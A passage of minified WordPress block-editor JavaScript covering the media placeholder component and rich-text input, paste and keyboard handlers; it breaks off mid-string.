Ge=l(w(),1),bTe=()=&gt;{},kTe=({src:e,onChange:t,onSubmit:o,onClose:r,popoverAnchor:n})=&gt;(0,Ge.jsx)(Ad,{anchor:n,onClose:r,children:(0,Ge.jsx)(&quot;form&quot;,{className:&quot;block-editor-media-placeholder__url-input-form&quot;,onSubmit:o,children:(0,Ge.jsx)(_o.__experimentalInputControl,{__next40pxDefaultSize:!0,label:(0,So.__)(&quot;URL&quot;),type:&quot;text&quot;,hideLabelFromVision:!0,placeholder:(0,So.__)(&quot;Paste or type URL&quot;),onChange:t,value:e,suffix:(0,Ge.jsx)(_o.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,Ge.jsx)(_o.Button,{size:&quot;small&quot;,icon:bl,label:(0,So.__)(&quot;Apply&quot;),type:&quot;submit&quot;})})})})}),vTe=({src:e,onChangeSrc:t,onSelectURL:o})=&gt;{let[r,n]=(0,Ld.useState)(null),[i,s]=(0,Ld.useState)(!1),a=()=&gt;{s(!0)},c=()=&gt;{s(!1),r?.focus()},u=d=&gt;{d.preventDefault(),e&amp;&amp;o&amp;&amp;(o(e),c())};return(0,Ge.jsxs)(&quot;div&quot;,{className:&quot;block-editor-media-placeholder__url-input-container&quot;,children:[(0,Ge.jsx)(_o.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-media-placeholder__button&quot;,onClick:a,isPressed:i,variant:&quot;secondary&quot;,&quot;aria-haspopup&quot;:&quot;dialog&quot;,ref:n,children:(0,So.__)(&quot;Insert from URL&quot;)}),i&amp;&amp;(0,Ge.jsx)(kTe,{src:e,onChange:t,onSubmit:u,onClose:c,popoverAnchor:r})]})};function yTe({value:e={},allowedTypes:t,className:o,icon:r,labels:n={},mediaPreview:i,notices:s,isAppender:a,accept:c,addToGallery:u,multiple:d=!1,handleUpload:f=!0,disableDropZone:m,disableMediaButtons:h,onError:p,onSelect:g,onCancel:b,onSelectURL:v,onToggleFeaturedImage:k,onDoubleClick:y,onFilesPreUpload:S=bTe,onHTMLDrop:x,children:C,mediaLibraryButton:B,placeholder:I,style:P}){x&amp;&amp;(0,hne.default)(&quot;wp.blockEditor.MediaPlaceholder onHTMLDrop prop&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;});let{mediaUpload:E,allowedMimeTypes:L}=(0,pne.useSelect)(Y=&gt;{let{getSettings:J}=Y(_),K=J();return{mediaUpload:K.mediaUpload,allowedMimeTypes:K.allowedMimeTypes}},[]),[T,O]=(0,Ld.useState)(&quot;&quot;);(0,Ld.useEffect)(()=&gt;{O(e?.src??&quot;&quot;)},[e?.src]);let D=(0,Ld.useMemo)(()=&gt;GI(t,L,c),[t,L,c]),U=()=&gt;!t||t.length===0?!1:t.every(Y=&gt;Y===&quot;image&quot;||Y.startsWith(&quot;image/&quot;)),G=Y=&gt;{if(!f||typeof f==&quot;function&quot;&amp;&amp;!f(Y))return g(Y);S(Y);let J;if(d)if(u){let K=[];J=H=&gt;{let X=(e??[]).filter(ne=&gt;ne.id?!K.some(({id:le})=&gt;Number(le)===Number(ne.id)):!K.some(({urlSlug:le})=&gt;ne.url.includes(le)));g(X.concat(H)),K=H.map(ne=&gt;{let le=ne.url.lastIndexOf(&quot;.&quot;),ve=ne.url.slice(0,le);return{id:ne.id,urlSlug:ve}})}}else J=g;else J=([K])=&gt;g(K);E({allowedTypes:t,filesList:Y,onFileChange:J,onError:p,multiple:d})};async function j(Y){let{blocks:J}=tV(Y);if(!J?.length)return;let K=await Promise.all(J.map(H=&gt;{let X=H.name.split(&quot;/&quot;)[1];return H.attributes.id?(H.attributes.type=X,H.attributes):new Promise((ne,le)=&gt;{window.fetch(H.attributes.url).then(ve=&gt;ve.blob()).then(ve=&gt;E({filesList:[ve],additionalData:{title:H.attributes.title,alt_text:H.attributes.alt,caption:H.attributes.caption,type:X},onFileChange:([he])=&gt;{he.id&amp;&amp;ne(he)},allowedTypes:t,onError:le})).catch(()=&gt;ne(H.attributes.url))})})).catch(H=&gt;p(H));K?.length&amp;&amp;g(d?K:K[0])}let z=Y=&gt;{G(Y.target.files)},ee=I??(Y=&gt;{let{instructions:J,title:K}=n;if(!E&amp;&amp;!v&amp;&amp;(J=(0,So.__)(&quot;To edit this block, you need permission to upload media.&quot;)),J===void 0||K===void 0){let X=t??[],[ne]=X,le=X.length===1,ve=le&amp;&amp;ne===&quot;audio&quot;,he=le&amp;&amp;ne===&quot;image&quot;,xe=le&amp;&amp;ne===&quot;video&quot;;J===void 0&amp;&amp;E&amp;&amp;(J=(0,So.__)(&quot;Drag and drop an image or video, upload, or choose from your library.&quot;),ve?J=(0,So.__)(&quot;Drag and drop an audio file, upload, or choose from your library.&quot;):he?J=(0,So.__)(&quot;Drag and drop an image, upload, or choose from your library.&quot;):xe&amp;&amp;(J=(0,So.__)(&quot;Drag and drop a video, upload, or choose from your library.&quot;))),K===void 0&amp;&amp;(K=(0,So.__)(&quot;Media&quot;),ve?K=(0,So.__)(&quot;Audio&quot;):he?K=(0,So.__)(&quot;Image&quot;):xe&amp;&amp;(K=(0,So.__)(&quot;Video&quot;)))}let H=V(&quot;block-editor-media-placeholder&quot;,o,{&quot;is-appender&quot;:a});return(0,Ge.jsxs)(_o.Placeholder,{icon:r,label:K,instructions:J,className:H,notices:s,onDoubleClick:y,preview:i,style:P,children:[Y,C]})}),se=()=&gt;m?null:(0,Ge.jsx)(_o.DropZone,{onFilesDrop:G,onDrop:j,isEligible:Y=&gt;{let J=&quot;wp-block:core/&quot;,K=[];for(let H of Y.types)H.startsWith(J)&amp;&amp;K.push(H.slice(J.length));return K.every(H=&gt;t.includes(H))&amp;&amp;(d?!0:K.length===1)}}),ce=()=&gt;b&amp;&amp;(0,Ge.jsx)(_o.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-media-placeholder__cancel-button&quot;,title:(0,So.__)(&quot;Cancel&quot;),variant:&quot;link&quot;,onClick:b,children:(0,So.__)(&quot;Cancel&quot;)}),ie=()=&gt;v&amp;&amp;(0,Ge.jsx)(vTe,{src:T,onChangeSrc:O,onSelectURL:v}),re=()=&gt;k&amp;&amp;(0,Ge.jsx)(&quot;div&quot;,{className:&quot;block-editor-media-placeholder__url-input-container&quot;,children:(0,Ge.jsx)(_o.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-media-placeholder__button&quot;,onClick:k,variant:&quot;secondary&quot;,children:(0,So.__)(&quot;Use featured image&quot;)})}),Q=()=&gt;{let J=B??(({open:H})=&gt;(0,Ge.jsx)(_o.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;{H()},children:(0,So.__)(&quot;Media Library&quot;)})),K=(0,Ge.jsx)(qu,{addToGallery:u,gallery:d&amp;&amp;U(),multiple:d,onSelect:g,allowedTypes:t,mode:&quot;browse&quot;,value:Array.isArray(e)?e.map(({id:H})=&gt;H):e.id,render:J});if(E&amp;&amp;a)return(0,Ge.jsxs)(Ge.Fragment,{children:[se(),(0,Ge.jsx)(_o.FormFileUpload,{onChange:z,accept:D,multiple:!!d,render:({openFileDialog:H})=&gt;{let X=(0,Ge.jsxs)(Ge.Fragment,{children:[(0,Ge.jsx)(_o.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,className:V(&quot;block-editor-media-placeholder__button&quot;,&quot;block-editor-media-placeholder__upload-button&quot;),onClick:H,children:(0,So._x)(&quot;Upload&quot;,&quot;verb&quot;)}),K,ie(),re(),ce()]});return ee(X)}})]});if(E){let H=(0,Ge.jsxs)(Ge.Fragment,{children:[se(),(0,Ge.jsx)(_o.FormFileUpload,{render:({openFileDialog:X})=&gt;(0,Ge.jsx)(_o.Button,{__next40pxDefaultSize:!0,onClick:X,variant:&quot;primary&quot;,className:V(&quot;block-editor-media-placeholder__button&quot;,&quot;block-editor-media-placeholder__upload-button&quot;),children:(0,So._x)(&quot;Upload&quot;,&quot;verb&quot;)}),onChange:z,accept:D,multiple:!!d}),K,ie(),re(),ce()]});return ee(H)}return ee(K)};return h?(0,Ge.jsx)(Ds,{children:se()}):(0,Ge.jsx)(Ds,{fallback:ee(ie()),children:Q()})}var gne=(0,_o.withFilters)(&quot;editor.MediaPlaceholder&quot;)(yTe);var bne=l(w(),1),STe=({colorSettings:e,...t})=&gt;{let o=e.map(r=&gt;{if(!r)return r;let{value:n,onChange:i,...s}=r;return{...s,colorValue:n,onColorChange:i}});return(0,bne.jsx)(pI,{settings:o,gradients:[],disableCustomGradients:!0,...t})},kne=STe;var pie=l(FM(),1);var hie=l(R(),1);var die=l(R(),1);var iie=l(yf(),1),nr=l(R(),1),Md=l(F(),1),lP=l(Z(),1),sie=l(dr(),1),aie=l(A(),1),lie=l($(),1),cie=l(Re(),1),Ab=l(N(),1);var vne=l(N(),1),YI=l(A(),1);var gF=l(N(),1),ep=l(A(),1);var vc=l(w(),1),_Te={placement:&quot;bottom-start&quot;},xTe=()=&gt;(0,vc.jsxs)(vc.Fragment,{children:[[&quot;bold&quot;,&quot;italic&quot;,&quot;link&quot;,&quot;unknown&quot;].map(e=&gt;(0,vc.jsx)(ep.Slot,{name:`RichText.ToolbarControls.${e}`},e)),(0,vc.jsx)(ep.Slot,{name:&quot;RichText.ToolbarControls&quot;,children:e=&gt;{if(!e.length)return null;let o=e.map(([{props:r}])=&gt;r).some(({isActive:r})=&gt;r);return(0,vc.jsx)(ep.ToolbarItem,{children:r=&gt;(0,vc.jsx)(ep.DropdownMenu,{icon:zn,label:(0,gF.__)(&quot;More&quot;),toggleProps:{...r,className:V(r.className,{&quot;is-pressed&quot;:o}),description:(0,gF.__)(&quot;Displays more block tools&quot;)},controls:ma(e.map(([{props:n}])=&gt;n),&quot;title&quot;),popoverProps:_Te})})}})]}),bF=xTe;var Nd=l(w(),1);function wTe({popoverAnchor:e}){return(0,Nd.jsx)(YI.Popover,{placement:&quot;top&quot;,focusOnMount:!1,anchor:e,className:&quot;block-editor-rich-text__inline-format-toolbar&quot;,__unstableSlotName:&quot;block-toolbar&quot;,children:(0,Nd.jsx)(Bg,{className:&quot;block-editor-rich-text__inline-format-toolbar-group&quot;,&quot;aria-label&quot;:(0,vne.__)(&quot;Format tools&quot;),children:(0,Nd.jsx)(YI.ToolbarGroup,{children:(0,Nd.jsx)(bF,{})})})})}var CTe=({inline:e,editableContentElement:t})=&gt;e?(0,Nd.jsx)(wTe,{popoverAnchor:t}):(0,Nd.jsx)(Mt,{group:&quot;inline&quot;,children:(0,Nd.jsx)(bF,{})}),yne=CTe;var qI=l(R(),1),Sne=l(F(),1);function _ne({html:e,value:t}){let o=(0,qI.useRef)(),r=!!t.activeFormats?.length,{__unstableMarkLastChangeAsPersistent:n}=(0,Sne.useDispatch)(_);(0,qI.useLayoutEffect)(()=&gt;{if(!o.current){o.current=t.text;return}if(o.current!==t.text){let i=window.setTimeout(()=&gt;{n()},1e3);return o.current=t.text,()=&gt;{window.clearTimeout(i)}}n()},[e,r])}var Bb=l(R(),1),jne=l(Z(),1);var JS=l(dr(),1),xne=l(ut(),1);var BTe=[&quot;`&quot;,&#039;&quot;&#039;,&quot;&#039;&quot;,&quot;\u201C\u201D&quot;,&quot;\u2018\u2019&quot;],wne=e=&gt;t=&gt;{function o(r){let{inputType:n,data:i}=r,{value:s,onChange:a,registry:c}=e.current;if(n!==&quot;insertText&quot;||(0,JS.isCollapsed)(s))return;let u=(0,xne.applyFilters)(&quot;blockEditor.wrapSelectionSettings&quot;,BTe).find(([x,C])=&gt;x===i||C===i);if(!u)return;let[d,f=d]=u,m=s.start,h=s.end+d.length,p=(0,JS.insert)(s,d,m,m);p=(0,JS.insert)(p,f,h,h);let{__unstableMarkLastChangeAsPersistent:g,__unstableMarkAutomaticChange:b}=c.dispatch(_);g(),a(p),b();let v={};for(let x in r)v[x]=r[x];v.data=f;let{ownerDocument:k}=t,{defaultView:y}=k,S=new y.InputEvent(&quot;input&quot;,v);window.queueMicrotask(()=&gt;{r.target.dispatchEvent(S)}),r.preventDefault()}return t.addEventListener(&quot;beforeinput&quot;,o),()=&gt;{t.removeEventListener(&quot;beforeinput&quot;,o)}};var ZI=l(dr(),1),wb=l($(),1);var Cne=l(dr(),1);function Bne(e){let t=&quot;tales of gutenberg&quot;,o=&quot; \u{1F421}\u{1F422}\u{1F980}\u{1F424}\u{1F98B}\u{1F418}\u{1F427}\u{1F439}\u{1F981}\u{1F984}\u{1F98D}\u{1F43C}\u{1F43F}\u{1F383}\u{1F434}\u{1F41D}\u{1F406}\u{1F995}\u{1F994}\u{1F331}\u{1F347}\u03C0\u{1F34C}\u{1F409}\u{1F4A7}\u{1F968}\u{1F30C}\u{1F342}\u{1F360}\u{1F966}\u{1F95A}\u{1F95D}\u{1F39F}\u{1F965}\u{1F952}\u{1F6F5}\u{1F956}\u{1F352}\u{1F36F}\u{1F3BE}\u{1F3B2}\u{1F43A}\u{1F41A}\u{1F42E}\u231B\uFE0F&quot;,{start:r,text:n}=e;return r&lt;t.length||n.slice(r-t.length,r).toLowerCase()!==t?e:(0,Cne.insert)(e,o)}function Ene(e){let t=e.length;for(;t--;){let o=Lv(e[t].attributes);if(o)return e[t].attributes[o]=e[t].attributes[o].toString().replace(wl,&quot;&quot;),[e[t].clientId,o,0,0];let r=Ene(e[t].innerBlocks);if(r)return r}return[]}var Tne=e=&gt;t=&gt;{function o(){let{getValue:n,onReplace:i,selectionChange:s,registry:a}=e.current;if(!i)return;let c=n(),{start:u,text:d}=c;if(d.slice(u-1,u)!==&quot; &quot;)return;let m=d.slice(0,u).trim(),h=(0,wb.getBlockTransforms)(&quot;from&quot;).filter(({type:v})=&gt;v===&quot;prefix&quot;),p=(0,wb.findTransform)(h,({prefix:v})=&gt;m===v);if(!p)return;let g=(0,ZI.toHTMLString)({value:(0,ZI.insert)(c,wl,0,u)}),b=p.transform(g);return s(...Ene([b])),i([b]),a.dispatch(_).__unstableMarkAutomaticChange(),!0}function r(n){let{inputType:i,type:s}=n,{getValue:a,onChange:c,__unstableAllowPrefixTransformations:u,formatTypes:d,registry:f,onReplace:m}=e.current;if(i!==&quot;insertText&quot;&amp;&amp;s!==&quot;compositionend&quot;||u&amp;&amp;o())return;let h=a(),p=(0,wb.getBlockTransforms)(&quot;from&quot;).filter(y=&gt;y.type===&quot;input&quot;),g=(0,wb.findTransform)(p,y=&gt;y.regExp.test(h.text));if(g){m(g.transform()),f.dispatch(_).__unstableMarkAutomaticChange();return}let b=d.reduce((y,{__unstableInputRule:S})=&gt;(S&amp;&amp;(y=S(y)),y),Bne(h)),{__unstableMarkLastChangeAsPersistent:v,__unstableMarkAutomaticChange:k}=f.dispatch(_);b!==h&amp;&amp;(v(),c({...b,activeFormats:h.activeFormats}),k())}return t.addEventListener(&quot;input&quot;,r),t.addEventListener(&quot;compositionend&quot;,r),()=&gt;{t.removeEventListener(&quot;input&quot;,r),t.removeEventListener(&quot;compositionend&quot;,r)}};var Ine=e=&gt;t=&gt;{function o(r){if(r.inputType!==&quot;insertReplacementText&quot;)return;let{registry:n}=e.current;n.dispatch(_).__unstableMarkLastChangeAsPersistent()}return t.addEventListener(&quot;beforeinput&quot;,o),()=&gt;{t.removeEventListener(&quot;beforeinput&quot;,o)}};var XI=l(it(),1),Pne=()=&gt;e=&gt;{function t(o){(XI.isKeyboardEvent.primary(o,&quot;z&quot;)||XI.isKeyboardEvent.primary(o,&quot;y&quot;)||XI.isKeyboardEvent.primaryShift(o,&quot;z&quot;))&amp;&amp;o.preventDefault()}return e.addEventListener(&quot;keydown&quot;,t),()=&gt;{e.removeEventListener(&quot;keydown&quot;,t)}};var Rne=e=&gt;t=&gt;{let{keyboardShortcuts:o}=e.current;function r(n){for(let i of o.current)i(n)}return t.addEventListener(&quot;keydown&quot;,r),()=&gt;{t.removeEventListener(&quot;keydown&quot;,r)}};var One=e=&gt;t=&gt;{let{inputEvents:o}=e.current;function r(n){for(let i of o.current)i(n)}return t.addEventListener(&quot;input&quot;,r),()=&gt;{t.removeEventListener(&quot;input&quot;,r)}};var QI=l(it(),1);var Ane=e=&gt;t=&gt;{function o(r){let{keyCode:n}=r;if(r.defaultPrevented||n!==QI.BACKSPACE&amp;&amp;n!==QI.ESCAPE)return;let{registry:i}=e.current,{didAutomaticChange:s,getSettings:a}=i.select(_),{__experimentalUndo:c}=a();c&amp;&amp;s()&amp;&amp;(r.preventDefault(),c())}return t.addEventListener(&quot;keydown&quot;,o),()=&gt;{t.removeEventListener(&quot;keydown&quot;,o)}};var Nne=l($(),1),Wa=l(dr(),1),Mne=l(dn(),1);var ETe=l(R(),1),TTe=l($(),1),ITe=l(w(),1);function Lne(e,t){if(t?.length){let o=e.formats.length;for(;o--;)e.formats[o]=[...t,...e.formats[o]||[]]}}function JI(e){if(!(e!==!0&amp;&amp;e!==&quot;p&quot;&amp;&amp;e!==&quot;li&quot;))return e===!0?&quot;p&quot;:e}function Cb({allowedFormats:e,disableFormats:t}){return t?Cb.EMPTY_ARRAY:e}Cb.EMPTY_ARRAY=[];var Dne=e=&gt;t=&gt;{function o(n){let{disableFormats:i,onChange:s,value:a,formatTypes:c,tagName:u,onReplace:d,__unstableEmbedURLOnPaste:f,preserveWhiteSpace:m,pastePlainText:h}=e.current;if(!t.contains(n.target)||n.defaultPrevented)return;let{plainText:p,html:g}=Ah(n);if(n.preventDefault(),window.console.log(`Received HTML (RichText):

`,g),window.console.log(`Received plain text (RichText):

`,p),i){s((0,Wa.insert)(a,p));return}let b=n.clipboardData.getData(&quot;rich-text&quot;)===&quot;true&quot;;function v(x){let C=c.reduce((B,{__unstablePasteRule:I})=&gt;(I&amp;&amp;B===a&amp;&amp;(B=I(a,{html:g,plainText:p})),B),a);if(C!==a)s(C);else{let B=(0,Wa.create)({html:x});Lne(B,a.activeFormats),s((0,Wa.insert)(a,B))}}if(b){v(g);return}if(h){s((0,Wa.insert)(a,(0,Wa.create)({text:p})));return}let k=&quot;INLINE&quot;,y=p.trim();f&amp;&amp;(0,Wa.isEmpty)(a)&amp;&amp;(0,Mne.isURL)(y)&amp;&amp;/^https?:/.test(y)&amp;&amp;(k=&quot;BLOCKS&quot;);let S=(0,Nne.pasteHandler)({HTML:g,plainText:p,mode:k,tagName:u,preserveWhiteSpace:m});typeof S==&quot;string&quot;?v(S):S.length&gt;0&amp;&amp;d&amp;&amp;(0,Wa.isEmpty)(a)&amp;&amp;d(S,S.length-1,-1)}let{defaultView:r}=t.ownerDocument;return r.addEventListener(&quot;paste&quot;,o),()=&gt;{r.removeEventListener(&quot;paste&quot;,o)}};var e_=l(it(),1),eP=l(dr(),1),Vne=e=&gt;t=&gt;{function o(r){let{keyCode:n}=r;if(r.defaultPrevented)return;let{value:i,onMerge:s,onRemove:a}=e.current;if(n===e_.DELETE||n===e_.BACKSPACE){let{start:c,end:u,text:d}=i,f=n===e_.BACKSPACE,m=i.activeFormats&amp;&amp;!!i.activeFormats.length;if(!(0,eP.isCollapsed)(i)||m||f&amp;&amp;c!==0||!f&amp;&amp;u!==d.length)return;s?s(!f):a&amp;&amp;(0,eP.isEmpty)(i)&amp;&amp;f&amp;&amp;a(!f),r.preventDefault()}}return t.addEventListener(&quot;keydown&quot;,o),()=&gt;{t.removeEventListener(&quot;keydown&quot;,o)}};var kF=l(it(),1),t_=l(dr(),1),Fne=e=&gt;t=&gt;{function o(i){if(i.keyCode!==kF.ENTER)return;let{onReplace:s,onSplit:a}=e.current;s&amp;&amp;a&amp;&amp;(i.__deprecatedOnSplit=!0)}function r(i){if(i.defaultPrevented||i.target!==t||i.keyCode!==kF.ENTER)return;let{value:s,onChange:a,disableLineBreaks:c,onSplitAtEnd:u,onSplitAtDoubleLineEnd:d,registry:f}=e.current;i.preventDefault();let{text:m,start:h,end:p}=s;i.shiftKey?c||a((0,t_.insert)(s,`
`)):u&amp;&amp;h===p&amp;&amp;p===m.length?u():d&amp;&amp;h===p&amp;&amp;p===m.length&amp;&amp;m.slice(-2)===`

`?f.batch(()=&gt;{let g={...s};g.start=g.end-2,a((0,t_.remove)(g)),d()}):c||a((0,t_.insert)(s,`
`))}let{defaultView:n}=t.ownerDocument;return n.addEventListener(&quot;keydown&quot;,r),t.addEventListener(&quot;keydown&quot;,o),()=&gt;{n.removeEventListener(&quot;keydown&quot;,r),t.removeEventListener(&quot;keydown&quot;,o)}};var zne=e=&gt;t=&gt;{function o(){let{registry:r}=e.current;if(!r.select(_).isMultiSelecting())return;let n=t.parentElement.closest(&#039;[contenteditable=&quot;true&quot;]&#039;);n&amp;&amp;n.focus()}return t.addEventListener(&quot;focus&quot;,o),()=&gt;{t.removeEventListener(&quot;focus&quot;,o)}};var PTe=[wne,Tne,Ine,Pne,Rne,One,Ane,Dne,Vne,Fne,zne];function tP(e){let t=(0,Bb.useRef)(e);(0,Bb.useInsertionEffect)(()=&gt;{t.current=e});let o=(0,Bb.useMemo)(()=&gt;PTe.map(r=&gt;r(t)),[t]);return(0,jne.useRefEffect)(r=&gt;{if(!e.isSelected)return;let n=o.map(i=&gt;i(r));return()=&gt;{n.forEach(i=&gt;i())}},[o,e.isSelected])}var oP=l(dr(),1),rP=l(R(),1);var Une=l(w(),1),Hne=l(jr(),1),RTe={},vF=Symbol(&quot;usesContext&quot;);function OTe({onChange:e,onFocus:t,value:o,forwardedRef:r,settings:n,isVisible:i}){let{name:s,edit:a,[vF]:c}=n,u=(0,rP.useContext)(xr),d=(0,rP.useMemo)(()=&gt;c?Object.fromEntries(Object.entries(u).filter(([g])=&gt;c.includes(g))):RTe,[c,u]);if(!a)return null;let f=(0,oP.getActiveFormat)(o,s),m=f!==void 0,h=(0,oP.getActiveObject)(o),p=h!==void 0&amp;&amp;h.type===s;return(0,Une.jsx)(a,{isActive:m,isVisible:i,activeAttributes:m?f.attributes||{}:{},isObjectActive:p,activeObjectAttributes:p?h.attributes||{}:{},value:o,onChange:e,onFocus:t,contentRef:r,context:d},s)}function nP({formatTypes:e,...t}){return e.map(o=&gt;(0,Hne.createElement)(OTe,{settings:o,...t,key:o.name}))}var Gne=l(R(),1),Wne=l($(),1),$ne=l(Re(),1);var yF=l(w(),1);function SF(e,t){if(Eb.isEmpty(e)){let o=JI(t);return o?`&lt;${o}&gt;&lt;/${o}&gt;`:&quot;&quot;}return Array.isArray(e)?((0,$ne.default)(&quot;wp.blockEditor.RichText value prop as children type&quot;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;,alternative:&quot;value prop as string&quot;,link:&quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;}),Wne.children.toHTML(e)):typeof e==&quot;string&quot;?e:e.toHTMLString()}function o_({value:e,tagName:t,multiline:o,format:r,...n}){return e=(0,yF.jsx)(Gne.RawHTML,{children:SF(e,o)}),t?(0,yF.jsx)(t,{...n,children:e}):e}var Xne=l(R(),1),xF=l($(),1),Qne=l(dr(),1),Jne=l(Re(),1);var Kne=l(R(),1),Yne=l(Re(),1),iP=l(F(),1),qne=l(it(),1),Tb=l(dr(),1);var _F=l(w(),1);function ATe({children:e,identifier:t,tagName:o=&quot;div&quot;,value:r=&quot;&quot;,onChange:n,multiline:i,...s},a){(0,Yne.default)(&quot;wp.blockEditor.RichText multiline prop&quot;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;,alternative:&quot;nested blocks (InnerBlocks)&quot;,link:&quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/&quot;});let{clientId:c}=Ie(),{getSelectionStart:u,getSelectionEnd:d}=(0,iP.useSelect)(_),{selectionChange:f}=(0,iP.useDispatch)(_),m=JI(i);r=r||`&lt;${m}&gt;&lt;/${m}&gt;`;let p=`&lt;/${m}&gt;${r}&lt;${m}&gt;`.split(`&lt;/${m}&gt;&lt;${m}&gt;`);p.shift(),p.pop();function g(b){n(`&lt;${m}&gt;${b.join(`&lt;/${m}&gt;&lt;${m}&gt;`)}&lt;/${m}&gt;`)}return(0,_F.jsx)(o,{ref:a,children:p.map((b,v)=&gt;(0,_F.jsx)(sP,{identifier:`${t}-${v}`,tagName:m,value:b,onChange:k=&gt;{let y=p.slice();y[v]=k,g(y)},isSelected:void 0,onKeyDown:k=&gt;{if(k.keyCode!==qne.ENTER)return;k.preventDefault();let{offset:y}=u(),{offset:S}=d();if(typeof y!=&quot;number&quot;||typeof S!=&quot;number&quot;)return;let x=(0,Tb.create)({html:b});x.start=y,x.end=S;let C=(0,Tb.split)(x).map(I=&gt;(0,Tb.toHTMLString)({value:I})),B=p.slice();B.splice(v,1,...C),g(B),f(c,`${t}-${v+1}`,0,0)},onMerge:k=&gt;{let y=p.slice(),S=0;if(k){if(!y[v+1])return;y.splice(v,2,y[v]+y[v+1]),S=y[v].length-1}else{if(!y[v-1])return;y.splice(v-1,2,y[v-1]+y[v]),S=y[v-1].length-1}g(y),f(c,`${t}-${v-(k?0:1)}`,S,S)},...s},v))})}var Zne=(0,Kne.forwardRef)(ATe);var eie=l(w(),1);function tie(e){return(0,Xne.forwardRef)((t,o)=&gt;{let r=t.value,n=t.onChange;Array.isArray(r)&amp;&amp;((0,Jne.default)(&quot;wp.blockEditor.RichText value prop as children type&quot;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;,alternative:&quot;value prop as string&quot;,link:&quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;}),r=xF.children.toHTML(t.value),n=s=&gt;t.onChange(xF.children.fromDOM((0,Qne.__unstableCreateElement)(document,s).childNodes)));let i=t.multiline?Zne:e;return(0,eie.jsx)(i,{...t,value:r,onChange:n,ref:o})})}var oie=l(it(),1),Ib=l(R(),1);function wF({character:e,type:t,onUse:o}){let r=(0,Ib.useContext)(Pb),n=(0,Ib.useRef)();return n.current=o,(0,Ib.useEffect)(()=&gt;{function i(s){oie.isKeyboardEvent[t](s,e)&amp;&amp;(n.current(),s.preventDefault())}return r.current.add(i),()=&gt;{r.current.delete(i)}},[e,t]),null}var aP=l(A(),1),rie=l(it(),1),CF=l(w(),1);function BF({name:e,shortcutType:t,shortcutCharacter:o,...r}){let n,i=&quot;RichText.ToolbarControls&quot;;return e&amp;&amp;(i+=`.${e}`),t&amp;&amp;o&amp;&amp;(n=rie.displayShortcut[t](o)),(0,CF.jsx)(aP.Fill,{name:i,children:(0,CF.jsx)(aP.ToolbarButton,{...r,shortcut:n})})}var Rb=l(R(),1);function EF({inputType:e,onInput:t}){let o=(0,Rb.useContext)(Ob),r=(0,Rb.useRef)();return r.current=t,(0,Rb.useEffect)(()=&gt;{function n(i){i.inputType===e&amp;&amp;(r.current(),i.preventDefault())}return o.current.add(n),()=&gt;{o.current.delete(n)}},[e]),null}var di=l(w(),1),{useRichText:LTe}=M(sie.privateApis),Pb=(0,nr.createContext)();Pb.displayName=&quot;keyboardShortcutContext&quot;;var Ob=(0,nr.createContext)();Ob.displayName=&quot;inputEventContext&quot;;var nie=Symbol(&quot;instanceId&quot;);function uie(e){let{__unstableMobileNoFocusOnMount:t,deleteEnter:o,placeholderTextColor:r,textAlign:n,selectionColor:i,tagsToEliminate:s,disableEditingMenu:a,fontSize:c,fontFamily:u,fontWeight:d,fontStyle:f,minWidth:m,maxWidth:h,disableSuggestions:p,disableAutocorrection:g,...b}=e;return b}function sP({children:e,tagName:t=&quot;div&quot;,value:o=&quot;&quot;,onChange:r,isSelected:n,multiline:i,inlineToolbar:s,wrapperClassName:a,autocompleters:c,onReplace:u,placeholder:d,allowedFormats:f,withoutInteractiveFormatting:m,onRemove:h,onMerge:p,onSplit:g,__unstableOnSplitAtEnd:b,__unstableOnSplitAtDoubleLineEnd:v,identifier:k,preserveWhiteSpace:y,__unstablePastePlainText:S,__unstableEmbedURLOnPaste:x,__unstableDisableFormats:C,disableLineBreaks:B,__unstableAllowPrefixTransformations:I,readOnly:P,...E},L){E=uie(E),g&amp;&amp;(0,cie.default)(&quot;wp.blockEditor.RichText onSplit prop&quot;,{since:&quot;6.4&quot;,alternative:&#039;block.json support key: &quot;splitting&quot;&#039;});let T=(0,lP.useInstanceId)(sP),O=(0,nr.useRef)(),[D,U]=(0,nr.useState)(null),G=Ie(),{clientId:j,isSelected:z,name:W}=G,ee=G[Rp],se=(0,nr.useContext)(xr),ce=(0,Md.useRegistry)(),ie=je=&gt;{if(!z)return{isSelected:!1};let{getSelectionStart:Eo,getSelectionEnd:Ze}=je(_),Ve=Eo(),gt=Ze(),To;return n===void 0?To=Ve.clientId===j&amp;&amp;gt.clientId===j&amp;&amp;(k?Ve.attributeKey===k:Ve[nie]===T):n&amp;&amp;(To=Ve.clientId===j),{selectionStart:To?Ve.offset:void 0,selectionEnd:To?gt.offset:void 0,isSelected:To}},{selectionStart:re,selectionEnd:Q,isSelected:Y}=(0,Md.useSelect)(ie,[j,k,T,n,z]),{disableBoundBlock:J,bindingsPlaceholder:K,bindingsLabel:H}=(0,Md.useSelect)(je=&gt;{if(!ee?.[k])return{};let{__experimentalBlockBindingsSupportedAttributes:Eo}=je(_).getSettings();if(!Eo?.[W])return{};let Ve=ee[k],gt=(0,lie.getBlockBindingsSource)(Ve.source),To={};if(gt?.usesContext?.length)for(let ct of gt.usesContext)To[ct]=se[ct];let cr=!gt?.canUserEditValue?.({select:je,context:To,args:Ve.args});if(o.length&gt;0)return{disableBoundBlock:cr,bindingsPlaceholder:null,bindingsLabel:null};let{getBlockAttributes:ge}=je(_),Ct=ge(j),Io=null;gt?.getFieldsList&amp;&amp;(Io=gt.getFieldsList({select:je,context:To})?.find(Gc=&gt;(0,iie.default)(Gc.args,Ve?.args))?.label);let Ke=Io??gt?.label,te=cr?Ke:(0,Ab.sprintf)((0,Ab.__)(&quot;Add 